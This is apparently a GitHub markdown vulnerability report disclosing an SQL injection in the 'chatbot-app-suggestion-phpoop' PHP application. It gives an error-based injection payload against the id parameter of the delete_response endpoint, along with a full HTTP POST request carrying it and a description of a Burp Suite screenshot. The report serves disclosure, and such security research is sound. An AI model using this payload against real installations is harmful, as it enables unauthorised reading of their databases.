

 main ▾

...

[chatbot](#) / [chatbot-app-suggestion-phpoop](#) / [sql.md](#)



mikeccltt Update sql.md

 History

 1 contributor

34 lines (24 sloc) | 1.22 KB

...

chatbot-app-suggestion-phpoop v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /simple_chat_bot/classes/Master.php?f=delete_response

Vulnerability location: /simple_chat_bot/classes/Master.php?f=delete_response, id

[+] Payload: id=7' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /simple_chat_bot/classes/Master.php?f=delete_response HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
```

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 65
Origin: http://192.168.2.106
Connection: keep-alive
Referer: http://192.168.2.106/simple_chat_bot/admin/?page=responses
Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfaqe

id=7' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot displays a web application interface on the left and a Burp Suite proxy tool on the right. The web application, titled 'Simple Site Chat Bot - Admin', shows a 'List of Responses' table with 6 entries. The Burp Suite interface shows a request to 'http://detectportal.firefox.com/80' with various headers and a search bar at the bottom.

Simple Site Chat Bot - Admin

Chat Bot - PHP

Simple Site Chat Bot - Admin

Responses

Report

Maintenance

User List

Settings

List of Responses

#	Date Created	Response	Keyword
1	2022-05-05 15:19	On this simple ChatBot Application...	How does this work?ss
2	2022-05-05 14:41	Pellentesque rutrum mi sem. Duis...	Suggestion 3
3	2022-05-05 14:41	Donec metus erat, porta consequa...	Suggestion 2
4	2022-05-05 14:40	Suspendisse efficitur eros orci. at...	Suggestion 1
5	2022-05-05 11:38	Nam eget fermentum quam. Sed...	Sample Query 1, Sample Query 2, Sample Query 3
6	2022-05-05 10:30	Hi, welcome to Simple Site ChatBot.	Hello, Hi

Burp Suite

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts

Intercept History Options

Request to http://detectportal.firefox.com/80 [34.107.221.82]

Forward Drop Intercept is on Action

Comment this item

Raw Headers Hex

GET /canonical.html HTTP/1.1
Host: detectportal.firefox.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Connection: keep-alive

Type a search term 0 matches